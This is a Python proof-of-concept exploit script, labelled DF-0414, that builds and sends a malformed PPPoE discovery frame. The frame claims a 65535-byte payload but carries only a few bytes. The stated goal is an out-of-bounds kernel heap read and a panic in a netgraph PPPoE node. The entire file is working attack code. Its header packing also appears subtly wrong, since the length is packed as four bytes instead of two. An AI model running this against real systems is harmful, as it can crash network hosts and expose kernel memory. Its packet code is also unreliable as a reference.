DF-0414 / poc.py
#!/usr/bin/env python3 """ DF-0414 PoC: PPPoE discovery ph->length unchecked heap OOB read Sends a PPPoE PADI (PPPoE Active Discovery Initiation) with ph->length set to 0xFFFF in a minimal 60-byte Ethernet frame. The netgraph PPPoE node's tag walker reads past the mbuf into kernel heap. Requires scapy and a PPPoE-capable netgraph node on the target interface. """ import argparse import struct import sys try: from scapy.all import Ether, sendp, conf, raw except ImportError: print("Requires scapy: pip install scapy", file=sys.stderr) sys.exit(1) ETHERTYPE_PPPOE_DISC = 0x8863 def craft_oob_padi(src_mac, dst_mac="ff:ff:ff:ff:ff:ff"): """Build a PADI with ph->length = 0xFFFF but only 6 bytes of tag data.""" # Ethernet header frame = dst_mac.encode().fromhex(dst_mac.replace(":", "")) frame += bytes.fromhex(src_mac.replace(":", "")) # EtherType: PPPoE Discovery frame += struct.pack("!H", ETHERTYPE_PPPOE_DISC) # PPPoE header: ver=1, type=1, code=0x09 (PADI), session=0, length=0xFFFF # The length field (0xFFFF) is the bug trigger — it claims 65535 bytes # of payload but the frame only has ~6 bytes of tag data. frame += struct.pack("!BBHI", 0x11, 0x09, 0x0000, 0xFFFF) # Minimal tag: Service-Name with empty value (required for PADI) # Tag type 0x0101 (Service-Name), length 0 frame += struct.pack("!HH", 0x0101, 0x0000) # Pad to minimum Ethernet frame size (60 bytes) while len(frame) < 60: frame += b'\x00' return frame def main(): parser = argparse.ArgumentParser( description="DF-0414: PPPoE discovery ph->length OOB read") parser.add_argument("--iface", required=True, help="Ethernet interface") parser.add_argument("--src-mac", default="00:11:22:33:44:55") args = parser.parse_args() print("[*] DF-0414: PPPoE discovery ph->length unchecked OOB read") print("[*] Sending PADI with ph->length=0xFFFF in 60-byte frame") print(f"[*] Interface: {args.iface}") frame = craft_oob_padi(args.src_mac) print(f"[*] Frame: {len(frame)} bytes") print(f"[*] ph->length claims: 65535 bytes of payload") print(f"[*] Actual payload: ~6 bytes") conf.iface = args.iface sendp(frame, iface=args.iface) print("[+] Sent. Target kernel should panic if netgraph PPPoE is active.") if __name__ == "__main__": main() |